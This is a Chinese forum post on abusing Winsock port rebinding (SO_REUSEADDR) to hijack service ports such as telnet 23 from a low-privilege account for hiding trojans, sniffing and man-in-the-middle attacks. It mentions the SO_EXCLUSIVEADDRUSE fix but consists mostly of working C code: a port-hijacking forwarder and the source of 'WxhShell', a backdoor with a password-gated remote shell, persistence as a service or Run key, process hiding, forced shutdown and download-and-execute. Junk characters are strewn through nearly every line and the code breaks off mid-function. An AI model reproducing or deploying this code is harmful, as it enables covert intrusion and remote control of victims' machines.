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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DI\sq8J^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eMwf'*#  
EbQ}w"{  
  saddr.sin_family = AF_INET; 5tL6R3  
*QX$Mo^E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?kSs7e>  
21qhlkdc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 92i# It}-/  
c LJCLKJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]+8,@%="  
@ h]H_  
  这意味着什么?意味着可以进行如下的攻击: +j,;g#d  
Syk^7l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~U|te_l  
@WmB0cc_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JpDkf$kM  
! [X<>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X {$gdz8S9  
O_ c K 4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0U<9=[~q7@  
?=l(29tH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 So:89T  
!v-(O"a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y}VKFRky  
iq#Z\Y(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &Lw| t_y  
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  #include ZD/!C9:&.0  
  #include ;p/@tr9  
  #include Ud](hp"  
  #include    >\'yj| U,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?2M15Q  
  int main() ?=,tcN  
  { V;!D:N8<  
  WORD wVersionRequested; ^6`U0|5mRX  
  DWORD ret; e|I5Nx2)  
  WSADATA wsaData; ,RZktWW_  
  BOOL val; }Y[.h=X  
  SOCKADDR_IN saddr; 6=   
  SOCKADDR_IN scaddr; Q|>y2g!  
  int err; {9)f~EbM!  
  SOCKET s; =k'dbcfO$9  
  SOCKET sc; D|xSO~M5  
  int caddsize; pnD#RvmW2e  
  HANDLE mt; G`pI{_-e  
  DWORD tid;   EQ28pAZ  
  wVersionRequested = MAKEWORD( 2, 2 ); w3*JVIQC  
  err = WSAStartup( wVersionRequested, &wsaData ); QMIXz[9w  
  if ( err != 0 ) { {XVSHUtw  
  printf("error!WSAStartup failed!\n"); eg3{sDv,  
  return -1; /mb| %U]~  
  } AA66^/t  
  saddr.sin_family = AF_INET; (<ejJPWT  
   vq{:=:5'P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R1nctA:  
O/Fzw^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &~j"3G;e  
  saddr.sin_port = htons(23); U+K_eEI0_I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) * .e^s3q$  
  { +RbCa c  
  printf("error!socket failed!\n"); aU3&=aN+  
  return -1; dCHU* 7DS  
  } olqHa5qn  
  val = TRUE; u^ T2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T:si?7CR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ."R 2^`  
  { W46sKD;\^W  
  printf("error!setsockopt failed!\n"); d; M&X!Y  
  return -1; R\<^A~(Gl  
  } k: {$M yK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (i`DUF'#y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MG~^>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kxKBI{L  
!v^D j']  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K1Tzy=Z9j  
  { os>|LPv4  
  ret=GetLastError(); =$HzEzrw  
  printf("error!bind failed!\n"); W4N$]D=  
  return -1; 8]0^OSS  
  } '{J!5x?L^  
  listen(s,2); #hai3>9|B  
  while(1) Hi ?],5,/  
  { AVi|JY)>  
  caddsize = sizeof(scaddr); cD{[rI E3  
  //接受连接请求 a9"Gg}h\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]Z~H9!%t  
  if(sc!=INVALID_SOCKET) Y A;S'dxY  
  { ;a68>5Lm*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W4Eo1 E  
  if(mt==NULL) 'Ct+0X:D  
  { 6rRPqO j  
  printf("Thread Creat Failed!\n"); jtZ@`io  
  break; 4 0Du*5M  
  } oV*3Mec  
  } X }^,g  
  CloseHandle(mt);  @]A4{  
  } Tj.;\a|d  
  closesocket(s); BqR8%F  
  WSACleanup(); r+) A)a,  
  return 0; 13B[m p4  
  }   $ @^n3ZQ4  
  DWORD WINAPI ClientThread(LPVOID lpParam) %DiZ&}^Ck  
  { %N!Y}$y  
  SOCKET ss = (SOCKET)lpParam; bzZEwMc6  
  SOCKET sc; /$B<+;L!#  
  unsigned char buf[4096]; L%<1cE))  
  SOCKADDR_IN saddr; (ttO O45  
  long num; Chjth"  
  DWORD val; iX4/;2B=,  
  DWORD ret; 9m<>G3Jr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -0>@jfP^D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hG3b7!^#g  
  saddr.sin_family = AF_INET; *iYs,4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &359tG0@P  
  saddr.sin_port = htons(23); [u~#F,_ow  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6N]v9uXZ  
  { ^oA^z1>3  
  printf("error!socket failed!\n"); pO"V9[p]  
  return -1; wKwireOs  
  } '*22j ]  
  val = 100; C7PHZ`<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ua( !:5q?  
  { }4+S_b  
  ret = GetLastError(); Z,ag5 w`]L  
  return -1; C,K P!B{  
  } Y(<>[8S m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a?@j`@]ZR~  
  { kRG-~'f%`  
  ret = GetLastError();  37{mhU  
  return -1; [_${N,1  
  } r] 2}S=[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T#T!a0  
  { TC ^EyjD  
  printf("error!socket connect failed!\n"); qdOaibH_  
  closesocket(sc); Nmp1[/{J  
  closesocket(ss); .4U::j}  
  return -1; qdzc"-gH`  
  } E_-CsL%  
  while(1) KbSIKj  
  { >?I[dYzut  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C7,Ol0`v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J8(v65  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U2!9Tl9".  
  num = recv(ss,buf,4096,0); {ImZ><xe/  
  if(num>0) wz;IKdk[  
  send(sc,buf,num,0); MLaH("aen  
  else if(num==0) q S2#=  
  break; N-;e" g  
  num = recv(sc,buf,4096,0); WFy90*@Z  
  if(num>0) M" %w9)@  
  send(ss,buf,num,0); '@rGX+"  
  else if(num==0) 8{@#N:SY  
  break; iYBs )  
  } r\a9<nZ{  
  closesocket(ss); wn5CaP(]8  
  closesocket(sc); ->:G+<  
  return 0 ; &rk /ya[  
  } vxK}f*d  
N }Z"$4  
{B uh5U,  
========================================================== +.5 /4?  
b=.Ikt+y  
下边附上一个代码,,WXhSHELL HLa|yc B%  
 H 2\KI(  
========================================================== T+RfMEdr  
KZJ;O7'`  
#include "stdafx.h" Kp8!^os  
;E(%s=i  
#include <stdio.h> <Sb W QbN  
#include <string.h> h9RG?r1  
#include <windows.h> vfm |?\  
#include <winsock2.h> oj[Wzeg%  
#include <winsvc.h> a";(C ,:0  
#include <urlmon.h> ma vc$!y  
A)&OR]0[  
#pragma comment (lib, "Ws2_32.lib") [{- Oy#T<  
#pragma comment (lib, "urlmon.lib") u:NSPAD)  
UVA|(:  
#define MAX_USER   100 // 最大客户端连接数 x-mRPH  
#define BUF_SOCK   200 // sock buffer 5&\Q0SX(~  
#define KEY_BUFF   255 // 输入 buffer #8QQZdC8`  
:J5xO%WA(  
#define REBOOT     0   // 重启 P$4G2>D8dg  
#define SHUTDOWN   1   // 关机 MW6d-  
S2h?Q $e3  
#define DEF_PORT   5000 // 监听端口 aB+Ux< -  
PJsiT4<  
#define REG_LEN     16   // 注册表键长度 },e f(  
#define SVC_LEN     80   // NT服务名长度 s=#3f3  
CUaI66  
// 从dll定义API F2:?lmhL<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sJ{NbN~`I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C1Slx !}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :"|}oKT%mP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ci <`*>l  
=4 36/O`K  
// wxhshell配置信息 c7E=1*C<  
struct WSCFG { Z>{3t/`  
  int ws_port;         // 监听端口 0Ou`& u  
  char ws_passstr[REG_LEN]; // 口令 ?n8gB7(FA  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rku9? zf^  
  char ws_regname[REG_LEN]; // 注册表键名 S zsq|T  
  char ws_svcname[REG_LEN]; // 服务名 "(>P=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,GA2K .:#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8.ll]3))  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 udMDE=1~L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V \,Z (  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _t_X`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mvyqCOp 0  
VZ 5EV'D8!  
}; j ~:Dr   
m$Lq#R={Z  
// default Wxhshell configuration rfpeX   
struct WSCFG wscfg={DEF_PORT, m(L]R(t  
    "xuhuanlingzhe", qe8dpI;  
    1, OEnJ".&V  
    "Wxhshell", : 2Ho  
    "Wxhshell", TW8E^k7  
            "WxhShell Service", %XM wjBM  
    "Wrsky Windows CmdShell Service", |<t"O  
    "Please Input Your Password: ", s `B"qw  
  1, $*tq$DZ4&  
  "http://www.wrsky.com/wxhshell.exe", 3M=ym.  
  "Wxhshell.exe" R_e{H^pY^  
    }; zB kS1qMn  
Q-k{Lqa-  
// 消息定义模块 7y1J69IK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mzLDZ# =b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I9-vV>:z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y9F!HM-`  
char *msg_ws_ext="\n\rExit."; KWq7M8mq  
char *msg_ws_end="\n\rQuit."; n [H3b}  
char *msg_ws_boot="\n\rReboot..."; hiZE8?0+~N  
char *msg_ws_poff="\n\rShutdown..."; eQbDs_  
char *msg_ws_down="\n\rSave to "; q$(@  
L1 1/XpR  
char *msg_ws_err="\n\rErr!"; (,#Rj$W  
char *msg_ws_ok="\n\rOK!"; vr+O)/P})  
nw){}g  
char ExeFile[MAX_PATH]; BWamF{\d1a  
int nUser = 0; ;I1}g]  
HANDLE handles[MAX_USER]; hqd}L~o:  
int OsIsNt; `j{q$Y=AG  
k>I[U}h  
SERVICE_STATUS       serviceStatus; 9=p^E#d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; })rJU/  
B`3RyM"J@  
// 函数声明 :Y`cgi0vkd  
int Install(void); dq}60  
int Uninstall(void); fOs"\Y4  
int DownloadFile(char *sURL, SOCKET wsh); ?4GI19j  
int Boot(int flag); +P2f<~  
void HideProc(void); Bvj-LT=)  
int GetOsVer(void); {%.FIw k  
int Wxhshell(SOCKET wsl); O:cta/M  
void TalkWithClient(void *cs); c%9wI*l  
int CmdShell(SOCKET sock); TO7%TW{L  
int StartFromService(void); !*_5 B'  
int StartWxhshell(LPSTR lpCmdLine); z;yb;),  
!r]elX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }>Gnp c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +`O8cHx  
:oh(M|;/2  
// 数据结构和表定义 zA4m !l*eM  
SERVICE_TABLE_ENTRY DispatchTable[] = BQq,,i8H  
{ UE33e(Q<  
{wscfg.ws_svcname, NTServiceMain}, t2d _XQOK  
{NULL, NULL} 28>PmH]7  
}; Ao~ZK[u  
Ch8w_Jf1yx  
// 自我安装 zY6{ OP!#  
int Install(void) R{uq8NA- W  
{ O*^=  
  char svExeFile[MAX_PATH]; WlVp|s{TYP  
  HKEY key; STmn%&  
  strcpy(svExeFile,ExeFile); I%.KFPV  
(ds-p[`[m  
// 如果是win9x系统,修改注册表设为自启动 9t:P1  
if(!OsIsNt) { a=}JW]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G66A]FIg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %upnXRzw  
  RegCloseKey(key); EkS7j>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hyqsMkW|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !m)P*Lw  
  RegCloseKey(key); >Q':+|K}  
  return 0; SZW+<X  
    } M il ![A1  
  } 4X,fb`  
} 2gLa4B-  
else { R r7r5  
Rd7[e^HSN  
// 如果是NT以上系统,安装为系统服务 wmbjL=f Ia  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yDh(4w-~gk  
if (schSCManager!=0) e]R`B}vO  
{ \-3\lZ3qj  
  SC_HANDLE schService = CreateService D5x }V  
  ( 0T-y]&uo  
  schSCManager, mGR}hsQpn  
  wscfg.ws_svcname, <\uz",e}  
  wscfg.ws_svcdisp, /Qi;'h]  
  SERVICE_ALL_ACCESS, &iCE/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vM@2C'  
  SERVICE_AUTO_START, U%oh ?g  
  SERVICE_ERROR_NORMAL, ~^jdiy5  
  svExeFile, .1R:YNx{/  
  NULL, P9h]B u  
  NULL, rrBu6\D  
  NULL, 1d)wE4c=Z  
  NULL, wO:!B\e  
  NULL f@U\2r  
  ); C%P)_)- -V  
  if (schService!=0) CMI'y(GN  
  { ivL}\~L  
  CloseServiceHandle(schService); 5y]1v  
  CloseServiceHandle(schSCManager); vowU+Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wBlfQ w-N  
  strcat(svExeFile,wscfg.ws_svcname); {*WJ"9ujp]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '6U~|d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q0|u vt"  
  RegCloseKey(key); GCSR)i|  
  return 0; r~ gjn`W  
    } R'bmE:nL  
  } I L dRN  
  CloseServiceHandle(schSCManager); +c&n7  
} i oCoFj  
} 6f1%5&si  
Fl{:aq"3  
return 1; g3[Zh=+]E  
} P2J{ Ml#  
U^jxKBq^  
// 自我卸载 Cw`8[)=}o  
int Uninstall(void) qFEGV+  
{ ~P&Brn"=Rs  
  HKEY key; .KiJq:$H  
F\&Sn1>k  
if(!OsIsNt) { =2&/Cn4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S;a'@5  
  RegDeleteValue(key,wscfg.ws_regname); K"~Tk`[0Q  
  RegCloseKey(key); h%'4V<V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QP/6N9/  
  RegDeleteValue(key,wscfg.ws_regname); [^wEKRt&  
  RegCloseKey(key); fBCW/<Z  
  return 0; E({+2}=1  
  } u 6&<Bv  
} OU)~ 02|\  
} ;A^0="x&  
else { v=!Ap ; 2L  
WT(inf[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6u-@_/O5R3  
if (schSCManager!=0) / S  
{ /*g9drwaa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~"\qX+  
  if (schService!=0) aq-`Bar  
  {  ut6M$d4  
  if(DeleteService(schService)!=0) { 4R_Vi[i  
  CloseServiceHandle(schService); 3V")~ m  
  CloseServiceHandle(schSCManager); fQ>=\*b9x^  
  return 0; (_&W@:"z  
  } }1]E=!?)&  
  CloseServiceHandle(schService); :eaqUW!Y  
  } \QF\Bh  
  CloseServiceHandle(schSCManager); En&bwLu:s  
} f:$LVpXS-  
} Hya  ";'  
5rG&Z5  
return 1; t;BvKH77  
} ENu`@S='I3  
vfID@g`!q+  
// 从指定url下载文件 3{e7j6u\  
int DownloadFile(char *sURL, SOCKET wsh) [hy:BV6H+  
{ (qn ;MN6<  
  HRESULT hr; x!\FB.h4!(  
char seps[]= "/"; |~'D8 g:Ak  
char *token; J?/.|Y]e  
char *file; O6rrv,+_L  
char myURL[MAX_PATH]; >dH5n$Gb  
char myFILE[MAX_PATH]; rEI]{?eoF  
L #'N  
strcpy(myURL,sURL); "=~P&Mi_  
  token=strtok(myURL,seps); Fy4jujP<  
  while(token!=NULL) iUuG}rqj  
  { )9_jr(s  
    file=token; &cj/8A5-  
  token=strtok(NULL,seps); _n9+(X3  
  } y'sy]Q~  
-VK 6Fq  
GetCurrentDirectory(MAX_PATH,myFILE); ?VM#Nf\  
strcat(myFILE, "\\"); T';<;6J**  
strcat(myFILE, file); nnBgTtsC]  
  send(wsh,myFILE,strlen(myFILE),0); V\axOz!  
send(wsh,"...",3,0); .E !p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }5n((7@X  
  if(hr==S_OK) r,p6J7/lfS  
return 0; nquKeH  
else *SkUkqP9z  
return 1; AF{k^^|H  
K`.wj8zGY  
} 1](5wK-Z  
F",]*> r  
// 系统电源模块 DJl06-s V  
int Boot(int flag) `?{Hs+4P5  
{ /a7tg+:  
  HANDLE hToken; ,e"A9ik#  
  TOKEN_PRIVILEGES tkp; .y7&!a35  
jF}zv  
  if(OsIsNt) { ]+\@_1<ZI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); />fP )56*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MWSx8R)PN  
    tkp.PrivilegeCount = 1; ?f+w:FO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G?-27Jk8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y<YVb@O.  
if(flag==REBOOT) { \jn[kQ+pJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %gd=d0vm  
  return 0; 5,:tjn  
} a!"81*&4#  
else { )c@I|L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $[VeZ-  
  return 0; DQg:W |A  
} l*[.  
  } myH:bc>6  
  else { o{*8l#x8  
if(flag==REBOOT) { pL$UI3VCP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OwIW;8Z  
  return 0; I`h9P2~  
} )Q 8T`Tly  
else { & -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W5-p0,?[6  
  return 0; GE$spx  
} R7us9qM4e  
} *AXu_^^  
W38My j!  
return 1; 0pYz8OB  
} fys@%PZq  
qs6yEuh#  
// win9x进程隐藏模块 <!:,(V>F(C  
void HideProc(void) p$}iBk0B(z  
{ -@ #b<"1  
<[xxCW(2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GY4 :9Lub7  
  if ( hKernel != NULL ) p7(xk6W  
  { EWN$ILdD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .<v0y"amJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ToJV.AdfT  
    FreeLibrary(hKernel); ]?,47,[<  
  } L@?Dmn'v  
HZ=Dd4!  
return; BQf}S +  
} 87EI<\mP  
);$Uf!v4  
// 获取操作系统版本 '{kNXCnZ  
int GetOsVer(void) ]+[ NX)=  
{ 0CY_nn#3  
  OSVERSIONINFO winfo; "ffwh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E66e4?"  
  GetVersionEx(&winfo); w5jH#ja  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?/"@WP9  
  return 1; +S M $#  
  else P*/px4;6  
  return 0; /s6':~4  
} </<_e0  
wd*i~A3+?  
// 客户端句柄模块  ;9c3IK@  
int Wxhshell(SOCKET wsl) oUZwZ_yKW  
{ ) 0$7{3  
  SOCKET wsh; ,oDZ:";  
  struct sockaddr_in client; g'Ft5fQ"o/  
  DWORD myID; j._9;HifZ  
fl~k')s  
  while(nUser<MAX_USER) V~5vVY_HG&  
{ ))!Z2PfD  
  int nSize=sizeof(client); /woa[7Xe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +IVVsVp  
  if(wsh==INVALID_SOCKET) return 1; Kv+E"2d  
Z!6\KV]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tjOfekU  
if(handles[nUser]==0) 8_f0P8R!y  
  closesocket(wsh); mT@UQCG  
else @Th.=  
  nUser++;  yyk[oH-Q  
  } (|ga#%iI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^`YSl*:  
r0QjCFSF=  
  return 0; F=B>0Q5   
} ]*}*zXN/E  
X=(8t2  
// 关闭 socket Pf)<6?T  
void CloseIt(SOCKET wsh)  AO;+XP=  
{ &X_I^*  
closesocket(wsh); ZERUvk  
nUser--; {^9,Dy_D  
ExitThread(0); PK3)M'[  
} ci5ERv`  
`(=)8>|e  
// 客户端请求句柄 )rhKWg  
void TalkWithClient(void *cs) dz5bW>  
{ /j -LW1:N  
7H[#  
  SOCKET wsh=(SOCKET)cs; /.05rTpp  
  char pwd[SVC_LEN]; (W3R3>;  
  char cmd[KEY_BUFF]; abD55YJY  
char chr[1]; ;eG%#=>  
int i,j; bm%2K@ /U  
Ym& _IOx  
  while (nUser < MAX_USER) { @Qruc\_  
;#/b=j\pi  
if(wscfg.ws_passstr) { l/LRr.x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ezwcOYMXK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@_CQc*yB  
  //ZeroMemory(pwd,KEY_BUFF); n5S$Dl  
      i=0; FO3!tJ\L  
  while(i<SVC_LEN) { .IpwTke'  
C_O 7  
  // 设置超时 peGXU/5.I  
  fd_set FdRead; T>n,@?#K  
  struct timeval TimeOut; 1$@k@*u\  
  FD_ZERO(&FdRead); GOH@|2N  
  FD_SET(wsh,&FdRead); 3KB)\nF#%  
  TimeOut.tv_sec=8; L)Un9&4L  
  TimeOut.tv_usec=0; y+Q!4A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dr(.|)hv[&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k6[t$|lMy  
j@UW[,UI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N Ja]UZx  
  pwd=chr[0]; {+ [rJ_  
  if(chr[0]==0xd || chr[0]==0xa) { 3dadeu^{A  
  pwd=0; ,PRM(n-  
  break; =h&DW5QC  
  } f`WmRx]K  
  i++; plfz)x3  
    } X~GZI*P  
&xH>U*c  
  // 如果是非法用户,关闭 socket f=~@e#U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i-sE\m  
} j(nPWEyJM  
]}>GUXe)^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <%pi*:E|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jE2ziK  
8Mws?]\/q  
while(1) { _z,/!>J  
Y0|~]J(B  
  ZeroMemory(cmd,KEY_BUFF); .vQ2w  
Yz-b~D/=}  
      // 自动支持客户端 telnet标准   J9poqp@`MG  
  j=0; MB^ b)\X  
  while(j<KEY_BUFF) { $Ae/NwIlc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kh<v2  
  cmd[j]=chr[0]; ;1{S"UY  
  if(chr[0]==0xa || chr[0]==0xd) { vU{ZB^+&6o  
  cmd[j]=0; 2Y  6/,W  
  break; a^Zn }R r  
  } 4pA<s-  
  j++; T a/G  
    } ?/dz!{JC  
` mCcD  
  // 下载文件 >Cd%tIie*  
  if(strstr(cmd,"http://")) { q;kM eE*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F;q I^{m2  
  if(DownloadFile(cmd,wsh)) .^JID~<?#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); > )#*}JI  
  else pk;bx2CP8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0" R|lTYq  
  } ynP^|Ou  
  else { rK=[&k  
qV iky=/-  
    switch(cmd[0]) { Y 3KCIL9  
  y0(k7D|\  
  // 帮助 d9Rj-e1x  
  case '?': { c$uV8_V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %K ]u"  
    break; 8(Z*Vz uu  
  } zac>tXU;  
  // 安装 i9.5 2  
  case 'i': { db#y]>^l  
    if(Install()) LgUaX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !\|&E>Gy  
    else |":^3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b.Y[:R_9&  
    break; =9pFb!KX  
    } n4Q!lJ  
  // 卸载 uY "88|  
  case 'r': { .6vQWt7@  
    if(Uninstall()) PFEi=}Y@((  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BIcE3}dS8  
    else b GwLfU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /tt  
    break; aK1|b=gVj  
    } P\N`E?lJL  
  // 显示 wxhshell 所在路径 g-*@I`k[  
  case 'p': { 3QV|@5L`[  
    char svExeFile[MAX_PATH]; .'.|s?s  
    strcpy(svExeFile,"\n\r"); sF|<m)Kt{W  
      strcat(svExeFile,ExeFile); zhN'@Wj'_  
        send(wsh,svExeFile,strlen(svExeFile),0); Iupk+x>  
    break; yRvq3>mU  
    } bd)A6a\h  
  // 重启 s BRw#xyS  
  case 'b': { ,HMB`vF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^vG*8,^S=8  
    if(Boot(REBOOT)) 8swj'SjX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^ UFP+Yw  
    else { ]^Q`CiKd  
    closesocket(wsh); ^8V]g1]fiG  
    ExitThread(0); _|6{(  
    } w,`x(!&  
    break; j/^0q90QO  
    } p( Qm\g<  
  // 关机 )}u.b-Nt.  
  case 'd': { +(|T\%$DT  
